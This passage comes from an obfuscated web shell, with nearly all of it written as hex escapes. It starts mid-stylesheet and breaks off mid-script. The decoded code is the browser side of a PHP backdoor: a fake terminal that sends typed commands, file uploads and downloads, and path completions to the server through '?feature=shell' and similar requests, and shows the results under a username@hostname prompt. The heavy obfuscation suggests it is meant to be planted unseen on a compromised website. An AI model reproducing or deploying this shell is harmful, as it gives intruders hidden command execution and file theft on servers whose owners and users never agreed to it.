\x66\x6cex;\n \x20\x20 \x20 \x20 \x20\x20 \x20 \x20\x20box-s\x68ad\x6f\x77:\x20\x30\x20-1px \x30\x20r\x67ba(\x30, 0,\x20\x30,\x20.3)\x3b\n\x20\x20 \x20\x20 \x20\x20 \x20b\x6frde\x72-top:\x20\x72g\x62a(\x32\x355,\x20255,\x202\x355, \x2e\x30\x35) s\x6f\x6c\x69\x64\x201px;\n \x20\x20\x20 \x20\x20\x20\x20 \x20 \x20p\x61dd\x69\x6e\x67: 1\x30\x70x\x20\x30\x3b\n\x20\x20\x20\x20 \x20\x20 \x20\x20}\n\n\x20\x20\x20 \x20\x20\x20\x20\x20\x20#s\x68\x65ll-i\x6e\x70u\x74\x20> \x6cab\x65\x6c {\n\x20 \x20 \x20 \x20\x20\x20\x20\x20 \x66l\x65\x78-g\x72ow:\x20\x30;\n \x20\x20 \x20\x20\x20\x20\x20 \x20d\x69\x73\x70\x6cay:\x20b\x6c\x6fc\x6b\x3b\n\x20\x20 \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20\x70\x61ddi\x6e\x67:\x20\x30 5p\x78;\n\x20 \x20\x20 \x20\x20 \x20 \x20\x20\x68\x65\x69\x67h\x74: 3\x30\x70x\x3b\n\x20 \x20\x20\x20 \x20 \x20 \x20 \x20 \x20li\x6e\x65-\x68e\x69\x67\x68\x74: \x330px\x3b\n\x20 \x20 }\n\n\x20\x20 \x20 \x20\x23she\x6cl-\x69\x6ep\x75\x74\x20#\x73\x68\x65\x6cl-c\x6d\x64\x20{\n\x20 \x20\x20 \x20\x20\x20 \x20 \x20 \x20\x68e\x69\x67h\x74:\x20\x33\x30\x70x;\n \x20\x20 \x20\x20\x20 \x20\x20\x20 \x6c\x69ne-h\x65i\x67\x68\x74:\x203\x30\x70x\x3b\n\x20 \x20\x20 \x20 \x20 \x20 \x20\x62\x6f\x72der: non\x65;\n \x20 \x20\x20\x20 \x20 \x20 \x62\x61c\x6b\x67r\x6fu\x6ed:\x20t\x72\x61\x6es\x70are\x6e\x74\x3b\n \x20\x20\x20 \x20 \x20 \x20\x63\x6f\x6c\x6f\x72: #e\x65\x65\x3b\n\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20 f\x6fnt-fa\x6di\x6c\x79:\x20monospa\x63\x65\x3b\n \x20\x20 \x20 \x20\x20 \x20 fo\x6et-siz\x65: 1\x30\x70\x74;\n\x20\x20\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x77i\x64t\x68: 1\x300\x25\x3b\n\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20 \x61l\x69g\x6e-\x73\x65l\x66: cen\x74er;\n \x20\x20 \x20\x20 \x20 \x20 b\x6f\x78-\x73iz\x69\x6e\x67: \x62o\x72\x64\x65\x72-b\x6fx;\n \x20 \x20 \x20 \x20\x20 \x20}\n\n \x20 \x20 \x20\x20 \x20 \x20\x23\x73h\x65\x6cl-i\x6epu\x74\x20d\x69v\x20{\n \x20\x20 \x20 \x20\x20 \x20\x20 \x20\x20f\x6c\x65x-\x67ro\x77:\x201;\n\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x61l\x69\x67\x6e-\x69t\x65\x6d\x73: \x73t\x72etch;\n\x20\x20 \x20\x20\x20\x20 \x20\x20}\n\n \x20\x20 \x20\x20 \x20 \x20#sh\x65ll-\x69n\x70u\x74 \x69\x6eput {\n \x20 \x20 \x20\x20 \x20\x20 \x6futl\x69n\x65:\x20n\x6fne\x3b\n\x20 \x20 \x20\x20 \x20 \x20}\n\x20\x20\x20\x20 \x20\x20\x3c/st\x79le>\n\n\x20 \x20\x20 \x20<sc\x72\x69pt>\n\x20 \x20 \x20\x20 \x20va\x72\x20\x53\x48E\x4c\x4c_\x43ONF\x49\x47 \x3d ";echo json_encode(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x62\x78\x64y\x76\x6fa\x65\x64"]});echo "\x3b\n \x20 \x20\x20 \x76\x61r\x20CW\x44 =\x20n\x75\x6cl;\n \x20\x20\x20\x20 \x20 \x20v\x61\x72\x20\x63omma\x6edH\x69st\x6fry \x3d []\x3b\n\x20 \x20 \x20\x20\x20 \x20\x20\x20var\x20hi\x73tor\x79P\x6f\x73\x69ti\x6fn\x20=\x200\x3b\n \x20 \x20\x20 v\x61\x72 \x65\x53\x68\x65ll\x43\x6d\x64In\x70u\x74\x20=\x20n\x75l\x6c\x3b\n\x20\x20 \x20\x20\x20\x20\x20\x20 v\x61\x72\x20\x65\x53\x68\x65\x6c\x6cC\x6f\x6ete\x6et =\x20\x6eu\x6cl\x3b\n\n\x20 \x20\x20\x20 \x20 \x20 f\x75\x6e\x63ti\x6fn \x5fin\x73\x65\x72\x74C\x6f\x6dma\x6ed(c\x6f\x6dma\x6e\x64)\x20{\n \x20 \x20 \x20\x20 \x20\x20 \x20\x20 \x20 \x65\x53he\x6cl\x43o\x6ete\x6et.i\x6e\x6eer\x48\x54ML += \x22\x5c\x6e\\\x6e\";\n \x20\x20 \x20 \x20 \x20 \x20\x65She\x6c\x6cC\x6f\x6et\x65\x6et.i\x6e\x6e\x65\x72H\x54\x4dL\x20+\x3d\x20'\x3c\x73p\x61\x6e cla\x73\x73\x3d\\\x22\x73h\x65\x6cl-\x70rompt\\\">\x27\x20+ \x67enP\x72om\x70t(CW\x44) +\x20\x27\x3c/s\x70an> \x27;\n \x20\x20\x20\x20 \x20 \x20\x20\x20 \x20e\x53\x68el\x6c\x43o\x6e\x74\x65\x6et\x2e\x69n\x6eer\x48\x54\x4d\x4c += \x65s\x63a\x70e\x48t\x6dl(\x63\x6fm\x6d\x61nd)\x3b\n \x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20\x65S\x68e\x6clCo\x6ete\x6et.i\x6e\x6e\x65r\x48T\x4d\x4c\x20+\x3d\x20\"\\\x6e\"\x3b\n\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x65ShellC\x6fnt\x65n\x74.s\x63\x72oll\x54op =\x20\x65\x53h\x65l\x6c\x43o\x6et\x65n\x74.scro\x6cl\x48ei\x67h\x74\x3b\n\x20\x20 \x20 \x20\x20 \x20\x20}\n\n\x20 \x20 \x20 \x20 \x66u\x6ection\x20\x5f\x69n\x73\x65\x72\x74\x53\x74d\x6f\x75t(\x73t\x64out)\x20{\n \x20 \x20 \x20\x20 eS\x68\x65\x6clC\x6fnt\x65n\x74\x2e\x69\x6e\x6ee\x72H\x54ML +\x3d\x20e\x73cap\x65\x48t\x6d\x6c(\x73t\x64\x6fut)\x3b\n \x20\x20 \x20\x20 \x20 \x20\x20e\x53\x68e\x6cl\x43\x6fn\x74en\x74.s\x63\x72\x6f\x6clT\x6f\x70\x20\x3d\x20eSh\x65\x6c\x6c\x43\x6f\x6et\x65\x6et.\x73\x63r\x6f\x6clH\x65\x69gh\x74\x3b\n\x20\x20\x20\x20\x20 \x20\x20\x20 }\n\n\x20 \x20 \x20 \x20\x20 \x20 f\x75\x6e\x63\x74io\x6e\x20\x5fd\x65f\x65\x72(cal\x6c\x62\x61c\x6b)\x20{\n\x20 \x20\x20 \x73etT\x69m\x65ou\x74(\x63all\x62\x61c\x6b,\x20\x30);\n\x20\x20 \x20\x20\x20\x20 \x20 }\n\n \x20\x20 \x20 \x20\x20 fun\x63\x74\x69o\x6e\x20fe\x61\x74\x75reS\x68\x65l\x6c(\x63\x6f\x6d\x6d\x61\x6ed)\x20{\n\n\x20 \x20 \x20 \x20\x20 \x20 \x20 \x5fi\x6e\x73\x65\x72t\x43o\x6dma\x6e\x64(\x63o\x6d\x6dan\x64);\n \x20\x20\x20 \x20 \x20\x20\x20 \x20\x69f\x20(/^\\s*upl\x6fad\x5c\x73+[^\x5cs]+\x5c\x73*\$/.t\x65\x73t(\x63\x6fmm\x61n\x64)) {\n\x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20feat\x75\x72\x65\x55p\x6coad(comm\x61\x6e\x64\x2e\x6dat\x63h(/^\\s*\x75plo\x61d\x5cs+([^\\s]+)\x5c\x73*\$/)[\x31])\x3b\n \x20\x20\x20 \x20\x20 \x20 \x20}\x20e\x6cs\x65\x20i\x66\x20(/^\x5cs*cl\x65\x61r\x5cs*\$/\x2et\x65s\x74(co\x6d\x6d\x61\x6ed)) {\n \x20\x20 \x20 \x20 \x20\x20\x20 //\x20B\x61ck\x65\x6ed \x73\x68e\x6cl \x54\x45\x52M e\x6e\x76i\x72on\x6de\x6et\x20v\x61r\x69able \x6e\x6ft s\x65t.\x20\x43lea\x72\x20\x63omm\x61\x6ed his\x74\x6fr\x79 \x66\x72om U\x49 but ke\x65\x70\x20in\x20b\x75ffe\x72\n \x20 \x20\x20 \x20 \x20\x20 \x20 eS\x68e\x6clC\x6f\x6e\x74\x65\x6e\x74.i\x6ene\x72H\x54ML \x3d\x20\x27'\x3b\n\x20 \x20 \x20 \x20\x20 \x20 \x20}\x20el\x73e\x20{\n \x20 \x20 \x20 \x20 \x20\x20\x20 \x6d\x61\x6beR\x65\x71\x75est(\"?\x66\x65\x61\x74\x75\x72e=\x73\x68\x65\x6cl\",\x20{cm\x64: co\x6dm\x61n\x64, \x63\x77\x64: C\x57\x44},\x20fu\x6ec\x74\x69\x6fn\x20(\x72es\x70\x6f\x6ese) {\n\x20\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20 \x20 \x20i\x66 (\x72es\x70on\x73\x65\x2e\x68\x61\x73O\x77\x6e\x50rop\x65r\x74y(\x27f\x69le\x27))\x20{\n\x20\x20 \x20 \x20 \x20 \x20 \x20\x20 f\x65\x61tur\x65Down\x6coad(\x61t\x6f\x62(re\x73p\x6f\x6e\x73\x65.\x6e\x61\x6de),\x20res\x70\x6f\x6ese\x2efile)\n \x20 \x20 \x20 \x20 \x20 \x20\x20\x20\x20} \x65l\x73\x65 {\n \x20 \x20 \x20 \x20 \x20 \x20 \x20\x20\x20\x20 \x20 _\x69n\x73ert\x53tdo\x75\x74(\x61t\x6fb(\x72\x65\x73po\x6ese.\x73\x74d\x6fu\x74))\x3b\n\x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x75\x70dat\x65\x43w\x64(\x61\x74ob(\x72\x65s\x70o\x6e\x73\x65\x2ec\x77d));\n \x20 \x20 \x20\x20 \x20 \x20\x20 \x20 }\n \x20 \x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x20});\n\x20\x20 \x20 \x20\x20\x20 \x20\x20\x20 \x20 }\n \x20 \x20 \x20\x20 }\n\n\x20 \x20 \x20\x20 f\x75nc\x74i\x6f\x6e\x20\x66\x65\x61t\x75\x72\x65\x48\x69nt() {\n\x20 \x20 \x20\x20\x20 \x20\x20 \x69\x66\x20(e\x53\x68\x65\x6c\x6cC\x6d\x64\x49\x6epu\x74.\x76a\x6c\x75e.\x74ri\x6d()\x2e\x6ce\x6eg\x74\x68 \x3d\x3d= \x30) r\x65t\x75\x72n\x3b \x20// fiel\x64\x20i\x73 empt\x79\x20->\x20\x6e\x6fth\x69ng \x74o \x63omp\x6cet\x65\n\n\x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 f\x75\x6e\x63\x74i\x6f\x6e\x20_\x72\x65\x71\x75\x65\x73\x74\x43a\x6c\x6cbac\x6b(\x64a\x74\x61) {\n \x20\x20 \x20\x20 \x20 \x20 \x20\x20 \x20 \x20i\x66\x20(\x64a\x74a\x2efi\x6ce\x73\x2ele\x6eg\x74h \x3c=\x201) \x72\x65\x74\x75\x72\x6e;\x20 // \x6eo\x20\x63\x6fmple\x74\x69o\x6e\n \x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x20 d\x61\x74\x61\x2efi\x6c\x65\x73 \x3d\x20\x64\x61ta\x2e\x66il\x65\x73\x2em\x61p(\x66\x75\x6e\x63\x74ion(\x66\x69\x6ce){\n\x20\x20\x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20r\x65\x74\x75r\x6e\x20a\x74\x6f\x62(\x66\x69l\x65)\x3b\n \x20\x20\x20 \x20\x20 \x20 \x20 \x20})\x3b\n\x20 \x20 \x20 \x20 \x20 \x20 \x20\x69\x66\x20(\x64a\x74\x61.\x66i\x6c\x65\x73\x2ele\x6e\x67\x74\x68 \x3d==\x20\x32)\x20{\n \x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20\x20 \x20\x20\x69\x66\x20(\x74\x79pe\x20\x3d\x3d=\x20\x27\x63md') {\n\x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20 \x20\x65\x53\x68\x65ll\x43\x6ddInput\x2e\x76\x61\x6c\x75e\x20\x3d \x64at\x61.\x66i\x6c\x65s[\x30]\x3b\n\x20\x20\x20 \x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20}\x20els\x65\x20{\n \x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20v\x61\x72\x20cur\x72ent\x56a\x6cu\x65 \x3d \x65Sh\x65\x6c\x6c\x43\x6d\x64I\x6e\x70ut.valu\x65\x3b\n \x20 \x20 \x20 \x20\x20 \x20 \x20 \x20 \x20e\x53h\x65llCm\x64\x49nput.\x76alu\x65\x20=\x20\x63\x75\x72\x72\x65\x6e\x74V\x61\x6cue\x2e\x72\x65p\x6cac\x65(/([^\\s]*)\$/,\x20\x64\x61\x74\x61.f\x69l\x65\x73[0])\x3b\n \x20\x20\x20 \x20 \x20 \x20 \x20\x20 \x20\x20\x20\x20}\n\x20 \x20 \x20 \x20\x20\x20 \x20 \x20 \x20}\x20\x65l\x73\x65 {\n \x20\x20\x20 \x20\x20\x20 \x20\x20\x20\x20 _\x69n\x73e\x72\x74\x43o\x6d\x6da\x6e\x64(e\x53\x68\x65\x6cl\x43\x6d\x64In\x70\x75t.v\x61l\x75\x65)\x3b\n\x20\x20\x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20\x20 \x5f\x69\x6e\x73er\x74\x53\x74\x64\x6f\x75t(data\x2ef\x69\x6ces.jo\x69\x6e(\"\\\x6e\"));\n \x20 \x20 \x20\x20\x20 \x20\x20\x20}\n\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 \x20}\n\n \x20\x20\x20 \x20\x20 \x20 \x20var\x20c\x75rrent\x43\x6d\x64\x20=\x20\x65\x53\x68\x65\x6cl\x43m\x64\x49n\x70u\x74\x2eva\x6cu\x65.\x73\x70li\x74(\" \x22);\n\x20 \x20\x20\x20\x20\x20 \x20 \x20\x20\x20\x20\x76a\x72\x20\x74y\x70e\x20= (\x63\x75\x72re\x6e\x74\x43m\x64\x2e\x6c\x65ng\x74h \x3d\x3d\x3d 1)\x20? \x22\x63md\"\x20:\x20\x22fil\x65\x22\x3b\n \x20 \x20\x20\x20\x20 \x20\x20 \x20v\x61\x72\x20\x66\x69le\x4eam\x65 =\x20(\x74\x79\x70e \x3d\x3d\x3d \"\x63md\x22)\x20? c\x75\x72r\x65ntC\x6dd[0]\x20: \x63\x75rrent\x43\x6dd[curre\x6e\x74\x43m\x64\x2e\x6ce\x6eg\x74h -\x201]\x3b\n\n\x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20m\x61\x6b\x65Req\x75e\x73t(\n \x20\x20 \x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x20 \x20\x22?\x66eat\x75r\x65\x3d\x68i\x6e\x74\",\n\x20 \x20 \x20 \x20\x20\x20 \x20 \x20 \x20{\n \x20\x20 \x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x20f\x69\x6ce\x6ea\x6de: \x66il\x65\x4ea\x6d\x65,\n\x20\x20 \x20 \x20\x20 \x20\x20\x20 \x20 \x20\x63wd:\x20\x43W\x44,\n \x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x20 \x20 \x20 \x20 \x74y\x70e: \x74y\x70e\n \x20 \x20\x20\x20 \x20 \x20 \x20 \x20\x20 },\n \x20 \x20 \x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20\x20_r\x65\x71\x75\x65s\x74\x43\x61l\x6cba\x63k\n\x20 \x20\x20\x20 \x20\x20 )\x3b\n\n \x20 \x20\x20\x20 \x20\x20\x20}\n\n\x20\x20 \x20 \x20 \x20 \x66un\x63\x74\x69on\x20f\x65\x61\x74\x75\x72\x65\x44\x6fwn\x6c\x6f\x61\x64(\x6e\x61\x6d\x65, \x66il\x65) {\n \x20\x20 \x20\x20 \x20 \x20\x20v\x61\x72 \x65\x6c\x65\x6de\x6e\x74 \x3d doc\x75ment\x2e\x63\x72\x65\x61t\x65Ele\x6d\x65\x6et(\x27a\x27);\n \x20 \x20 \x20\x20\x20\x65l\x65\x6de\x6et.se\x74\x41\x74\x74ribu\x74\x65('href',\x20\x27d\x61\x74a:\x61\x70\x70\x6ci\x63a\x74\x69o\x6e/\x6f\x63tet-\x73tre\x61\x6d;ba\x73\x656\x34,' +\x20\x66\x69le);\n\x20\x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \x65\x6c\x65\x6d\x65nt\x2ese\x74\x41t\x74\x72\x69\x62\x75t\x65('\x64\x6fw\x6e\x6c\x6f\x61\x64\x27, \x6ea\x6de);\n \x20 \x20 \x20\x20\x20 \x20 e\x6c\x65\x6de\x6et.\x73ty\x6ce.d\x69\x73p\x6c\x61y\x20\x3d\x20'non\x65\x27;\n\x20 \x20 \x20\x20\x20 \x20docum\x65n\x74.\x62\x6fdy\x2eap\x70e\x6e\x64Ch\x69l\x64(e\x6c\x65m\x65nt);\n \x20\x20 \x20 \x20\x20 \x20\x20 e\x6cem\x65\x6e\x74\x2ecl\x69\x63\x6b();\n\x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x20d\x6f\x63\x75\x6d\x65\x6e\x74.\x62o\x64\x79\x2ere\x6do\x76eChil\x64(\x65l\x65me\x6e\x74)\x3b\n\x20 \x20 \x20\x20 \x20\x20\x20 \x20\x5fins\x65\x72tSt\x64ou\x74(\x27\x44o\x6e\x65\x2e\x27);\n\x20 \x20\x20 \x20\x20\x20}\n\n \x20 \x20 \x20\x20\x20\x20 \x20\x66\x75\x6ectio\x6e\x20\x66e\x61tur\x65\x55\x70\x6co\x61\x64(p\x61t\x68)\x20{\n\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20\x76\x61r \x65l\x65me\x6et \x3d\x20\x64\x6f\x63\x75\x6den\x74\x2e\x63re\x61t\x65E\x6c\x65\x6de\x6e\x74('\x69n\x70ut');\n\x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20 \x65\x6cement\x2es\x65t\x41t\x74\x72\x69bu\x74\x65(\x27t\x79p\x65\x27, \x27fi\x6c\x65')\x3b\n\x20 \x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20ele\x6d\x65\x6e\x74.s\x74y\x6ce\x2edi\x73\x70l\x61y \x3d '\x6e\x6fn\x65\x27\x3b\n\x20\x20\x20\x20\x20\x20 \x20 \x64o\x63\x75\x6den\x74\x2e\x62\x6fdy\x2e\x61\x70\x70endChild(\x65le\x6d\x65\x6e\x74)\x3b\n\x20 \x20\x20\x20\x20\x20\x20\x20\x20\x20\x65le\x6dent.a\x64\x64\x45\x76en\x74\x4c\x69\x73t\x65n\x65r(\x27c\x68an\x67e\x27,\x20\x66\x75n\x63\x74\x69o\x6e\x20() {\n\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20\x20\x20 \x20 v\x61r \x70\x72\x6fm\x69\x73e\x20= \x67e\x74Ba\x73e6\x34(elem\x65nt\x2e\x66\x69l\x65\x73[\x30])\x3b\n \x20\x20 \x20\x20\x20\x20 \x20\x20 \x20\x20pr\x6fmi\x73\x65\x2e\x74hen(\x66un\x63t\x69\x6f\x6e (f\x69\x6ce) {\n \x20 \x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 \x20\x20 \x6d\x61\x6beR\x65\x71\x75\x65\x73\x74('?fea\x74ure\x3dup\x6c\x6fa\x64\x27, {p\x61th: path, \x66\x69\x6c\x65:\x20f\x69\x6ce, \x63w\x64:\x20\x43WD},\x20\x66unc\x74i\x6fn (r\x65\x73po\x6e\x73\x65)\x20{\n\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20\x20 \x5f\x69n\x73\x65\x72\x74\x53tdout(\x61tob(resp\x6fnse.stdo\x75t))\x3b\n \x20 \x20 \x20 \x20 \x20 \x20\x20 \x20 \x20upd\x61\x74\x65\x43\x77\x64(\x61\x74\x6fb(\x72espon\x73\x65\x2ec\x77d))\x3b\n \x20\x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20\x20 })\x3b\n\x20\x20 \x20 \x20 \x20 \x20 \x20 \x20 },\x20fu\x6ect\x69\x6fn () {\n \x20 \x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20 _\x69ns\x65rt\x53\x74\x64\x6fut('A\x6e \x75nk\x6eown cl\x69\x65n\x74-\x73\x69\x64\x65 \x65r\x72\x6fr o\x63\x63u\x72r\x65d\x2e\x27);\n \x20 \x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20})\x3b\n\x20 \x20 \x20 \x20\x20\x20\x20 });\n \x20 \x20\x20 \x20\x20 \x20 \x20\x65\x6c\x65men\x74\x2eclic\x6b();\n \x20 \x20\x20\x20\x20\x20\x20 \x20 \x20 do\x63\x75\x6de\x6e\x74.bo\x64\x79\x2erem\x6f\x76\x65\x43\x68i\x6cd(\x65\x6c\x65\x6d\x65\x6et);\n\x20\x20 \x20\x20\x20 \x20 }\n\n \x20\x20\x20\x20\x20 \x20 \x20\x20\x20f\x75nc\x74i\x6f\x6e g\x65\x74Base64(\x66\x69\x6ce, o\x6eLo\x61dCa\x6c\x6c\x62ac\x6b) {\n \x20 \x20\x20\x20\x20 \x20 \x20\x20re\x74u\x72\x6e \x6e\x65\x77 \x50\x72\x6f\x6di\x73\x65(funct\x69o\x6e(\x72\x65s\x6flv\x65,\x20\x72\x65j\x65ct) {\n \x20 \x20 \x20 \x20 \x20 \x20 \x20 \x76\x61r re\x61der \x3d n\x65w\x20Fil\x65\x52ea\x64e\x72()\x3b\n\x20 \x20 \x20 \x20 \x20\x20\x20 \x20\x20\x72e\x61der.onloa\x64\x20\x3d\x20f\x75n\x63\x74\x69on()\x20{\x20r\x65solv\x65(re\x61der\x2er\x65\x73\x75\x6ct.\x6da\x74\x63\x68(/\x62a\x73e\x36\x34,(\x2e*)\$/)[1])\x3b\x20}\x3b\n\x20\x20 \x20 \x20 \x20\x20\x20\x20 rea\x64e\x72.one\x72\x72or\x20=\x20\x72\x65\x6a\x65\x63\x74;\n \x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20r\x65\x61\x64\x65r\x2erea\x64A\x73\x44ataU\x52\x4c(\x66\x69le)\x3b\n \x20\x20 \x20 \x20 \x20 \x20\x20 });\n \x20\x20\x20\x20 \x20 \x20 \x20\x20}\n\n \x20\x20 \x20 \x20\x20 f\x75\x6e\x63t\x69\x6f\x6e\x20\x67\x65\x6ePrompt(\x63\x77d)\x20{\n\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20\x20\x20\x20\x63w\x64\x20= c\x77d || \"\x7e\";\n \x20\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 v\x61\x72 \x73\x68ort\x43\x77\x64\x20=\x20c\x77d\x3b\n \x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20 i\x66\x20(cw\x64.spli\x74(\x22/\")\x2e\x6c\x65\x6e\x67t\x68\x20> \x33) {\n \x20 \x20 \x20\x20\x20\x20 \x20 \x20 \x76\x61r \x73pl\x69ttedC\x77\x64\x20\x3d \x63w\x64.s\x70\x6ci\x74(\"/\");\n\x20\x20 \x20\x20\x20\x20 \x20\x20 \x20\x20 \x20\x20 \x73h\x6f\x72\x74\x43\x77\x64\x20\x3d\x20\"…/\"\x20+\x20spl\x69tt\x65dCw\x64[sp\x6c\x69t\x74\x65\x64C\x77\x64\x2ele\x6egth-\x32]\x20+\x20\x22/\x22 + s\x70littedC\x77\x64[spl\x69\x74\x74\x65\x64\x43wd.\x6cen\x67\x74\x68-1];\n\x20\x20 \x20 \x20 \x20 \x20}\n\x20 \x20 \x20 \x20 \x20\x20 \x20r\x65t\x75rn\x20\x53\x48\x45\x4c\x4c_\x43\x4f\x4eFI\x47[\"\x75\x73e\x72n\x61m\x65\x22]\x20+\x20\x22\x40\" +\x20S\x48E\x4c\x4c\x5fCO\x4eFIG[\"h\x6f\x73\x74\x6e\x61m\x65\"] + \x22:\x3csp\x61n t\x69\x74l\x65\x3d\\\x22\" + \x63wd +\x20\x22\\\x22\x3e\x22\x20+ s\x68\x6frt\x43wd\x20+ \"\x3c/sp\x61\x6e\x3e#\";\n\x20 \x20\x20 \x20 \x20\x20 }\n\n\x20\x20 \x20 \x20 \x20\x20\x20\x66u\x6e\x63tion\x20\x75\x70d\x61te\x43\x77d(\x63\x77d) {\n\x20\x20 \x20\x20\x20 \x20\x20\x20 \x20 i\x66\x20(cw\x64) {\n \x20\x20 \x20 \x20 \x20 \x20 \x20 C\x57D = \x63\x77d;\n \x20 \x20 \x20\x20\x20\x20\x20\x20 \x20 \x20_\x75\x70d\x61\x74\x65P\x72om\x70\x74()\x3b\n \x20\x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20 \x72et\x75\x72\x6e;\n \x20 \x20}\n \x20 \x20 \x20\x20\x20 \x20\x20\x6dake\x52e\x71u\x65st(\"?\x66\x65at\x75\x72e\x3dp\x77\x64\",\x20{}, f\x75n\x63tio\x6e(\x72\x65s\x70\x6f\x6es\x65) {\n\x20\x20 \x20 \x20 \x20\x20\x20\x20 \x20 \x20 \x20 \x20C\x57D\x20\x3d a\x74ob(respo\x6ese\x2e\x63\x77\x64)\x3b\n\x20\x20\x20\x20\x20\x20 \x20 \x20 \x20 \x20 \x20\x5f\x75p\x64\x61t\x65\x50\x72om\x70\x74()\x3b\n \x20\x20 \x20 \x20 \x20 \x20\x20\x20})\x3b\n\n\x20 \x20\x20 \x20\x20 \x20 }\n\n \x20 \x20\x20\x20\x20 \x20\x20\x66un\x63t\x69on\x20\x65\x73c\x61peH\x74ml(\x73tri\x6eg)\x20{\n\x20\x20\x20 \x20\x20 \x20\x20\x20 \x20\x20\x20\x72et\x75\x72\x6e\x20s\x74ri\x6e\x67\n\x20 \x20\x20\x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20\x2e\x72\x65\x70\x6cace(/\x26/\x67, \"\x26\x61m\x70;\")\n\x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20 \x20 \x20\x2e\x72e\x70l\x61ce(/</g, \x22\x26lt\x3b\")\n\x20 \x20 \x20\x20 \x20\x20\x20\x20\x20 \x20\x20 \x20.r\x65\x70\x6c\x61\x63e(/\x3e/\x67, \x22>\x3b\x22);\n\x20 \x20\x20\x20\x20\x20 \x20\x20 }\n\n \x20\x20\x20\x20 \x20\x20 \x20\x20 \x66u\x6e\x63t\x69\x6f\x6e\x20_u\x70da\x74\x65Pro\x6dp\x74()\x20{\n\x20 \x20 \x20\x20 \x20 \x20\x20 \x20var\x20e\x53\x68e\x6c\x6c\x50ro\x6dpt \x3d \x64o\x63ument\x2egetElementB\x79\x49d(\x22sh\x65ll-\x70rompt\")\x3b\n \x20\x20 \x20\x20 \x20\x20 \x20 \x20 \x20\x65\x53\x68el\x6c\x50\x72omp\x74.i\x6e\x6ee\x72\x48TML\x20\x3d\x20gen\x50r\x6fm\x70\x74(C\x57\x44);\n \x20 \x20\x20\x20\x20 \x20}\n\n \x20\x20\x20 \x20 \x20\x20\x66\x75nc\x74i\x6fn\x20_onSh\x65\x6c\x6cC\x6dd\x4b\x65\x79D\x6f\x77n(\x65v\x65nt) {\n\x20 \x20 \x20\x20 \x20\x20 \x20\x20\x20\x73\x77\x69\x74ch\x20(\x65\x76\x65nt.\x6b\x65y) {\n\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20ca\x73e\x20\"\x45nter\":\n\x20 \x20 \x20\x20 \x20\x20\x20 \x20\x20\x20 \x20\x20\x20 \x20\x20\x66\x65\x61tur\x65S\x68e\x6cl(\x65S\x68ell\x43m\x64I\x6ep\x75t.va\x6c\x75\x65);\n \x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20\x20 \x20in\x73er\x74\x54o\x48\x69\x73\x74or\x79(eSh\x65l\x6cCmdInp\x75\x74.\x76a\x6c\x75\x65)\x3b\n\x20 \x20\x20\x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x20\x20eS\x68\x65\x6cl\x43m\x64\x49nput.\x76a\x6cue\x20\x3d \x22\";\n \x20\x20 \x20 \x20 \x20\x20 \x20 \x20 \x20\x20 \x20 \x62rea\x6b;\n\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20\x20 \x20c\x61\x73e\x20\"\x41rr\x6fwU\x70\x22:\n\x20 \x20\x20 \x20 \x20\x20 \x20 \x20i\x66\x20(\x68is\x74\x6fry\x50o\x73\x69\x74ion \x3e 0) {\n \x20\x20 \x20 \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20\x20\x20\x20 \x20 \x20 \x68i\x73\x74\x6fr\x79\x50\x6f\x73\x69\x74\x69on--;\n \x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 \x20\x20\x20\x65\x53\x68\x65\x6c\x6cC\x6d\x64In\x70\x75\x74.\x62lu\x72()\x3b\n\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20\x20 